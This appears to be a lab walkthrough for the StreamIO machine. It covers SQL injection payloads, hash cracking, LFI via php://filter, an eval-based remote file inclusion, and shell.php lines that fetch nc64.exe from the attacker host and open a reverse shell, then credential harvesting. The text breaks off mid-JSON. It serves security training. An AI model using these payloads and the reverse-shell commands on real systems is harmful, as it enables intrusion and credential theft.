StreamIO is a medium machine that covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we leverage the SQLCMD command line utility to enumerate databases and obtain further credentials used in lateral movement. As the secondary user we use WinPEAS to enumerate the system and find saved browser databases, which are decoded to expose new credentials. Using the new credentials within BloodHound we discover that the user has the ability to add themselves to a specific group in which they can read LDAP secrets. Without direct access to the account we use PowerShell to abuse this feature and add ourselves to the Core Staff group, then access LDAP to disclose the administrator LAPS password.
Recon
nmap
❯ nmap 10.129.89.211
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-29 12:42 +0300
Nmap scan report for 10.129.89.211
Host is up (0.28s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 25.83 seconds
❯ nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49701,49708 -sC -sV -A 10.129.89.211 -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-29 12:44 +0300
Nmap scan report for 10.129.89.211
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-29 16:44:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp filtered ms-sql-s
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
4411/tcp filtered found
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp filtered unknown
49674/tcp filtered unknown
49701/tcp filtered unknown
49708/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
| date: 2026-11-29T16:45:29
|_ start_date: N/A
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 282.73 ms 10.10.14.1
2 282.88 ms 10.129.89.211
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.46 seconds
We can see the classic DC ports and Kerberos
We will process to add both vhosts to our host file:
❯ echo "10.129.89.211 streamIO.htb watch.streamIO.htb" | sudo tee -a /etc/hosts
The we take a look at both sites with whatweb for quick tech fingerprint
❯ whatweb http://streamIO.htb
http://streamIO.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.89.211], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]
❯ whatweb http://watch.streamIO.htb
http://watch.streamIO.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.89.211], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]
Both hostnames return the same default IIS page
Next we need to look for actual content with curl:
❯ curl -s -v http://streamIO.htb/ | head -50
* Trying 10.129.89.211:80...
* Host streamIO.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.89.211
* Established connection to streamIO.htb (10.129.89.211 port 80) from 10.10.14.248 port 37148
* using HTTP/1.x
> GET / HTTP/1.1
> Host: streamIO.htb
> User-Agent: curl/8.23.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/html
< Last-Modified: Tue, 22 Feb 2022 10:46:01 GMT
< Accept-Ranges: bytes
< ETag: "b23de861d927d81:0"
< Server: Microsoft-IIS/10.0
< X-Powered-By: ASP.NET
< Date: Sun, 29 Nov 2026 17:24:47 GMT
< Content-Length: 703
<
{ [703 bytes data]
* Connection #0 to host streamIO.htb:80 left intact
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>%
❯ curl -s -v http://watch.streamIO.htb/ | head -50
* Trying 10.129.89.211:80...
* Host watch.streamIO.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.89.211
* Established connection to watch.streamIO.htb (10.129.89.211 port 80) from 10.10.14.248 port 56618
* using HTTP/1.x
> GET / HTTP/1.1
> Host: watch.streamIO.htb
> User-Agent: curl/8.23.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/html
< Last-Modified: Tue, 22 Feb 2022 10:46:01 GMT
< Accept-Ranges: bytes
< ETag: "b23de861d927d81:0"
< Server: Microsoft-IIS/10.0
< X-Powered-By: ASP.NET
< Date: Sun, 29 Nov 2026 17:27:56 GMT
< Content-Length: 703
<
{ [703 bytes data]
* Connection #0 to host watch.streamIO.htb:80 left intact
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>%
Both are byte-for-byte the same default IIS page which can mean that the real app runs somewhere in a directory or in HTTPS (443)
301 GET 2l 10w 157c http://streamio.htb/aspnet_client => http://streamio.htb/aspnet_client/
200 GET 334l 2089w 180418c http://streamio.htb/iisstart.png
200 GET 32l 55w 703c http://streamio.htb/
301 GET 2l 10w 157c http://streamio.htb/Aspnet_client => http://streamio.htb/Aspnet_client/
301 GET 2l 10w 157c http://streamio.htb/aspnet_Client => http://streamio.htb/aspnet_Client/
301 GET 2l 10w 157c http://streamio.htb/ASPNET_CLIENT => http://streamio.htb/ASPNET_CLIENT/
[####################] - 3m 30007/30007 0s found:6 errors:0
So we will focus on HTTPS on 443 because this is what we get when we visit the site

From the about us page we can see a few username:

No this time we are guaranteed to get something if we fuzz for content:
❯ feroxbuster -u https://streamIO.htb -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -s 200,403 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ https://streamio.htb/
🚩 In-Scope Url │ streamio.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 403]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 231l 571w 7825c https://streamio.htb/about.php
200 GET 206l 430w 6434c https://streamio.htb/contact.php
200 GET 192l 1006w 82931c https://streamio.htb/images/icon.png
200 GET 395l 915w 13497c https://streamio.htb/index.php
200 GET 101l 173w 1663c https://streamio.htb/css/responsive.css
200 GET 5l 374w 21257c https://streamio.htb/js/popper.min.js
200 GET 91l 435w 92008c https://streamio.htb/images/contact-img.png
200 GET 395l 915w 13497c https://streamio.htb/
[>-------------------] - 7m 17957/360070 2h found:8 errors:17524
🚨 Caught ctrl+c 🚨 saving scan state to ferox-https_streamio_htb_-1795959579.state ...
[>-------------------] - 7m 17961/360070 2h found:8 errors:17527
[##>-----------------] - 7m 6184/60000 14/s https://streamio.htb/
[#>------------------] - 7m 5904/60000 14/s https://streamio.htb/images/
[#>------------------] - 7m 5874/60000 13/s https://streamio.htb/admin/
[#>------------------] - 7m 5874/60000 13/s https://streamio.htb/css/
[#>------------------] - 7m 5878/60000 13/s https://streamio.htb/js/
[#>------------------] - 6m 5148/60000 13/s https://streamio.htb/CSS/
[--------------------] - 0s 0/60000 - https://streamio.htb/text/css
[--------------------] - 0s 0/60000 - https://streamio.htb/image/x-icon
[--------------------] - 0s 0/60000 - https://streamio.htb/image/
[--------------------] - 0s 0/60000 - https://streamio.htb/js/bootstrap.js
[--------------------] - 0s 0/60000 - https://streamio.htb/text/
[--------------------] - 0s 0/60000 - https://streamio.htb/about.php
[--------------------] - 0s 0/60000 - https://streamio.htb/contact.php
[--------------------] - 0s 0/60000 - https://streamio.htb/images/icon.png
[--------------------] - 0s 0/60000 - https://streamio.htb/index.php
[--------------------] - 0s 0/60000 - https://streamio.htb/css/responsive.css
[--------------------] - 0s 0/60000 - https://streamio.htb/js/popper.min.js
We have different interesting paths:
login.php

admin/

we can fuzz the /admin/ and see what we can get past there:
403 GET 1l 1w 18c https://streamio.htb/admin/index.php
301 GET 2l 10w 150c https://streamio.htb/admin => https://streamio.htb/admin/
403 GET 1l 1w 18c https://streamio.htb/admin/
403 GET 1l 1w 18c https://streamio.htb/admin/Index.php
200 GET 2l 6w 58c https://streamio.htb/admin/master.php
We cannot access it either and its only available through includes:

in register.php We can register but we cannot login:

We can look into the subdomain watch.streamio.htb

We can look at the directories and see what the subdomain with holds:
❯ feroxbuster -u https://watch.streamIO.htb -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 15 --rate-limit 30 -s 200,204,301,302,307,401,403 -x php,txt,html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ https://watch.streamio.htb/
🚩 In-Scope Url │ watch.streamio.htb
🚀 Threads │ 15
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 401, 403]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, txt, html]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🚧 Requests per Second │ 30
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 78l 245w 2829c https://watch.streamio.htb/
200 GET 78l 245w 2829c https://watch.streamio.htb/index.php
200 GET 7193l 19558w 253905c https://watch.streamio.htb/search.php
200 GET 25l 34w 247c https://watch.streamio.htb/static/css/search.css
200 GET 4090l 8487w 195704c https://watch.streamio.htb/static/css/bootstrap.css
200 GET 1l 7w 2054c https://watch.streamio.htb/favicon.ico
200 GET 20l 47w 677c https://watch.streamio.htb/blocked.php
200 GET 7193l 19558w 253905c https://watch.streamio.htb/Search.php
200 GET 78l 245w 2829c https://watch.streamio.htb/Index.php
blocked.php

That’s a WAF and its session based
search.php

when we just search for ‘test’
POST /search.php HTTP/1.1
Host: watch.streamio.htb
Content-Length: 6
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: https://watch.streamio.htb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://watch.streamio.htb/search.php
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
q=test
we dont trigger anything but it actually searches for test
but we got this:

That makes perfect sense, when we type test in the search box and hit enter, the backend PHP code is likely running a query like this:
SELECT title, year, poster, description, rating, link
FROM movies
WHERE title LIKE '%test%'
SQLI in search.php
so we need to breakout of the ‘%…%’ string and add our own query, to do that we will comment out the trailing quote % so the database doesn’t choke on them
so we will use this payload to list number of columns and read version:

abcd' union select 1,@@version,3;-- -

Now we can use column 2 to extract data from the database. Since we know its MSSQL, we can use the built-in sysdabases function to list the databases one by one
abcd' union select 1, name, 3, 4, 5, 6 from master..sysdatabases;-- -

if we exclude the MSSQL system DBS the current DB is STREAMIO
Using this payload:
abcd' union select 1, name, 3, 4, 5, 6 from sys.tables;-- -
we can these tables in the current STREAMIO database:

next we need to get the table IDs:
abcd' union select 1, name, object_id, 4, 5, 6 from sys.tables;-- -

Since we have the ID, we use it to dump columns from the user tables:
abcd' union select 1, name, 3, 4, 5, 6 from syscolumns where id = 901578250;-- -

We can now dump credentials using CONCAT()
abcd' union select 1, concat(username, ':', password), 3, 4, 5, 6 from users;-- -

Now we have the hashes, we will save them in single file
❯ cat clean_hashes.txt
File: clean_hashes.txt
1 665a50ac9eaa781e4f7f04199db97a11
2 1c2b3d8270321140e5153f6637d3ee53
3 0049ac57646627b8d7aeaccf8b6a936f
4 3961548825e3e21df5646cafe11c6c76
5 54c88b2dbd7b1a84012fabc1a4c73415
6 22ee218331afd081b0dcd8115284bae3
7 2a4e2cf22dd8fcb45adcb91be1e22ae8
8 35394484d89fcfdb3c5e447fe749d213
9 ef8f3d30a856cf166fb8215aca93e9ff
10 ec33265e5fc8c2f1b0c137bb7b3632b5
11 8097cedd612cc37c29db152b6e9edbd3
12 0cfaaaafb559f081df2befbe66686de0
13 c660060492d9edcaa8332d89c99c9239
14 6dcd87740abb64edfa36d170f0d5450d
15 08344b85b329d7efd611b7a7743e8a09
16 ee0b8a0937abd60c2882eacb2f8dc49f
17 7df45a9e3de3863807c026ba48e55fb3
18 b83439b16f844bd6ffe35c02fe21b3c0
19 f03b910e2bd0313a23fdd7575f34a694
20 dc332fb5576e9631c9dae83f194f8e70
21 f87d3c0d6c8fd686aacc6627f1f493a5
22 083ffae904143c4796e464dac33c1f7d
23 384463526d288edcc95fc3701e523bc7
24 3577c47eb1e12c8ba021611e1280753c
25 925e5408ecb67aea449373d668b7359e
26 bf55e15b119860a6e6b5a164377da719
27 b22abb47a02b52d5dfa27fb0b534f693
28 d62be0dc82071bccc1322d64ec5b6c51
29 b779ba15cedfd22a023c4d8bcf5f2332
Then we point hashcat to the new clean file:
❯ hashcat -m 0 clean_hashes.txt /home/xi/rockyou.txt
hashcat (v7.1.2) starting
3577c47eb1e12c8ba021611e1280753c:highschoolmusical
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
665a50ac9eaa781e4f7f04199db97a11:paddpadd
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Approaching final keyspace - workload adjusted.
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Earlier, we found the /admin/ directory on the main site but couldn’t log in. The users table had a column called is_staff. yoshihide

And now we have an authenticated /admin/

if we click use management we see that we can delete users or even objects in general:

We can notice the application dynamically rendered content based on the URL, this is an indicator of PHP include() functions, which are notoriously vulnerable to LFI

Instead of blindly guessing, we can fuzz for the hidden parameters to expand our attack surface using WFUZZ
❯ wfuzz -u https://streamio.htb/admin/\?FUZZ\= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=mjkt01ml1jfmfkod97rf2hbeq9" --hh 1678
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://streamio.htb/admin/?FUZZ=
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001575: 200 49 L 137 W 1712 Ch "debug"
000003530: 200 10790 25878 W 320235 Ch "movie"
L
000005450: 200 398 L 916 W 12484 Ch "staff"
000006133: 200 62 L 160 W 2073 Ch "user"
now we have a new parameter debug
LFI debug.php
We tested debug for LFI using PHP filter wrapper to Base64-encode the source code of the current page:
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

❯ echo "onlyPD9waHAKZGVmaW5lKCdpbmNsdWRlZCcsdHJ1ZSk7CnNlc3Npb25fc3RhcnQoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsnYWRtaW4nXSkpCnsKCWhlYWRlcignSFRUUC8xLjEgNDAzIEZvcmJpZGRlbicpOwoJZGllKCI8aDE" | base64 -d
�yr<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1%
This leaves us with one thing, to read master.php
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

we can clean the output as from the include then we cat it and decode it from base64 and finally we are left with this:
RCE master.php
❯ cat -n master.php
1 <h1>Movie managment</h1>
2 <?php
3 if(!defined('included'))
4 die("Only accessable through includes");
5 if(isset($_POST['movie_id']))
6 {
7 $query = "delete from movies where id = ".$_POST['movie_id'];
8 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
9 }
10 $query = "select * from movies order by movie";
11 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
12 while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
13 {
14 ?>
15
16 <div>
17 <div class="form-control" style="height: 3rem;">
18 <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
19 <div style="float:right;padding-right: 25px;">
20 <form method="POST" action="?movie=">
21 <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
22 <input type="submit" class="btn btn-sm btn-primary" value="Delete">
23 </form>
24 </div>
25 </div>
26 </div>
27 <?php
28 } # while end
29 ?>
30 <br><hr><br>
31 <h1>Staff managment</h1>
32 <?php
33 if(!defined('included'))
34 die("Only accessable through includes");
35 $query = "select * from users where is_staff = 1 ";
36 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
37 if(isset($_POST['staff_id']))
38 {
39 ?>
40 <div class="alert alert-success"> Message sent to administrator</div>
41 <?php
42 }
43 $query = "select * from users where is_staff = 1";
44 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
45 while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
46 {
47 ?>
48
49 <div>
50 <div class="form-control" style="height: 3rem;">
51 <h4 style="float:left;"><?php echo $row['username']; ?></h4>
52 <div style="float:right;padding-right: 25px;">
53 <form method="POST">
54 <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
55 <input type="submit" class="btn btn-sm btn-primary" value="Delete">
56 </form>
57 </div>
58 </div>
59 </div>
60 <?php
61 } # while end
62 ?>
63 <br><hr><br>
64 <h1>User managment</h1>
65 <?php
66 if(!defined('included'))
67 die("Only accessable through includes");
68 if(isset($_POST['user_id']))
69 {
70 $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
71 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
72 }
73 $query = "select * from users where is_staff = 0";
74 $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
75 while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
76 {
77 ?>
78
79 <div>
80 <div class="form-control" style="height: 3rem;">
81 <h4 style="float:left;"><?php echo $row['username']; ?></h4>
82 <div style="float:right;padding-right: 25px;">
83 <form method="POST">
84 <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
85 <input type="submit" class="btn btn-sm btn-primary" value="Delete">
86 </form>
87 </div>
88 </div>
89 </div>
90 <?php
91 } # while end
92 ?>
93 <br><hr><br>
94 <form method="POST">
95 <input name="include" hidden>
96 </form>
97 <?php
98 if(isset($_POST['include']))
99 {
100 if($_POST['include'] !== "index.php" )
101 eval(file_get_contents($_POST['include']));
102 else
103 echo(" ---- ERROR ---- ");
104 }
105 ?>
While reviewing the source code, we spotted a dangerous implementation at the very bottom of the file:
93 <br><hr><br>
94 <form method="POST">
95 <input name="include" hidden>
96 </form>
97 <?php
98 if(isset($_POST['include']))
99 {
100 if($_POST['include'] !== "index.php" )
101 eval(file_get_contents($_POST['include']));
102 else
103 echo(" ---- ERROR ---- ");
104 }
105 ?>
The application takes user-contolled POST parameter named include , fetches its contents using file_get_contents

And passes the result directly to eval()

Since file_get_contents() supports remote URLs, this is a classic RFI
We can host s a simple PHP shell on our attack machine and tell the application to execute it:
system("whoami");
We save that in a shell.php file then serve it locally using python:
sudo python3 -m http.server 80
Then we send the following post request over burp:

we now have RCE:

I will write the shell.php to download netcat from my computer then attach powershell to it
❯ cat shell.php
system("curl 10.10.14.248/nc64.exe -o c:\\windows\\temp\\nc64.exe");
❯ cat shell2.php
system("c:\\windows\\temp\\nc64.exe 10.10.14.248 4444 -e cmd.exe");
We get a rebound:
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.248] from (UNKNOWN) [10.129.90.243] 57166
Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\streamio.htb\admin>
C:\inetpub\streamio.htb\admin>powershell.exe
powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\streamio.htb\admin>
Lateral Movement Shell as nikk37
Now with a stable shell as yoshihide I looked at the directories and there was nothing much in the main site files (streamio.htb) now I have to switch to the vhost (watch.streamio.htb) and analyses the web files to see if there is hardcoded credentials
Directory: C:\inetpub\watch.streamio.htb
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/26/2022 12:38 AM static
-a---- 2/26/2022 12:29 AM 677 blocked.php
-a---- 7/30/2021 3:02 AM 1150 favicon.ico
-a---- 2/26/2022 12:34 AM 2944 index.php
-a---- 2/26/2022 3:52 AM 2367 search.php
-a---- 2/26/2022 12:00 AM 452 web.config
from top to bottom
blocked.php:

nothing much there
same to index.php
Finally search.php:
From the start, sqlmap was doomed to fail:

we can see hardcoded credentials in the connection string:

but that only connects to db_user , I will try to grep for db_admin and see what we will get since its not in the search.php file
PS C:\inetpub\streamio.htb> dir -recurse *.php | select-string -pattern "db_admin"
dir -recurse *.php | select-string -pattern "db_admin"
admin\index.php:9:$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
register.php:81: $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
an now we have credentials to db admin from register.php file
We need an application to connect to the MSSQL databases, so we search on Google for how to connect to MSSQL databases and find this article which states that the SQLCMD executable can be used. (ripped this shit straight from the official write up lmao)
PS C:\inetpub\streamio.htb\admin> sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT DB_NAME(); SELECT name
FROM master..sysdatabases;'sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT DB_NAME(); SELECT name
>>
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
(6 rows affected)
The output shows that there is a backup of the original STREAMIO db. Lets check the tables contained within:
PS C:\inetpub\streamio.htb\admin> sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM
streamio_backup..sysobjects WHERE xtype = "U"'sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM
>>
streamio_backup..sysobjects WHERE xtype = "U"'
>>
name
--------------------------------------------------------------------------------------------------------------------------------
movies
users
Now we can simply pull the users:
username,password from users;'sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select
>>
username,password from users;'
>>
Changed database context to 'streamio_backup'.
username password
-------------------------------------------------- --------------------------------------------------
nikk37 389d14cb8e4e9b94b137deb1caf0612a
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
James c660060492d9edcaa8332d89c99c9239
Theodore 925e5408ecb67aea449373d668b7359e
Samantha 083ffae904143c4796e464dac33c1f7d
Lauren 08344b85b329d7efd611b7a7743e8a09
William d62be0dc82071bccc1322d64ec5b6c51
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
We pull nikk1337 hash then crack it and we get this password:
get_dem_girls2@yahoo.com
Auth as JDgodd
There is a JSON file called logins.json located at
*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release> ls
Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/22/2022 2:40 AM bookmarkbackups
d----- 2/22/2022 2:40 AM browser-extension-data
d----- 2/22/2022 2:41 AM crashes
d----- 2/22/2022 2:42 AM datareporting
d----- 2/22/2022 2:40 AM minidumps
d----- 2/22/2022 2:42 AM saved-telemetry-pings
d----- 2/22/2022 2:40 AM security_state
d----- 2/22/2022 2:42 AM sessionstore-backups
d----- 2/22/2022 2:40 AM storage
-a---- 2/22/2022 2:40 AM 24 addons.json
-a---- 2/22/2022 2:42 AM 5189 addonStartup.json.lz4
-a---- 2/22/2022 2:42 AM 310 AlternateServices.txt
-a---- 2/22/2022 2:41 AM 229376 cert9.db
-a---- 2/22/2022 2:40 AM 208 compatibility.ini
-a---- 2/22/2022 2:40 AM 939 containers.json
-a---- 2/22/2022 2:40 AM 229376 content-prefs.sqlite
-a---- 2/22/2022 2:40 AM 98304 cookies.sqlite
-a---- 2/22/2022 2:40 AM 1081 extension-preferences.json
-a---- 2/22/2022 2:40 AM 43726 extensions.json
-a---- 2/22/2022 2:42 AM 5242880 favicons.sqlite
-a---- 2/22/2022 2:41 AM 262144 formhistory.sqlite
-a---- 2/22/2022 2:40 AM 778 handlers.json
-a---- 2/22/2022 2:40 AM 294912 key4.db
-a---- 2/22/2022 2:41 AM 1593 logins-backup.json
-a---- 2/22/2022 2:41 AM 2081 logins.json
-a---- 2/22/2022 2:42 AM 0 parent.lock
-a---- 2/22/2022 2:42 AM 98304 permissions.sqlite
-a---- 2/22/2022 2:40 AM 506 pkcs11.txt
-a---- 2/22/2022 2:42 AM 5242880 places.sqlite
-a---- 2/22/2022 2:42 AM 8040 prefs.js
-a---- 2/22/2022 2:42 AM 180 search.json.mozlz4
-a---- 2/22/2022 2:42 AM 288 sessionCheckpoints.json
-a---- 2/22/2022 2:42 AM 1853 sessionstore.jsonlz4
-a---- 2/22/2022 2:40 AM 18 shield-preference-experiments.json
-a---- 2/22/2022 2:42 AM 611 SiteSecurityServiceState.txt
-a---- 2/22/2022 2:42 AM 4096 storage.sqlite
-a---- 2/22/2022 2:40 AM 50 times.json
-a---- 2/22/2022 2:40 AM 98304 webappsstore.sqlite
-a---- 2/22/2022 2:42 AM 141 xulstore.json
that files saves Firefox saved passwords and usernames
❯ cat -n logins.json | jq
1
{
"nextId": 5,
"logins": [
{
"id": 1,
"hostname": "https://slack.streamio.htb",
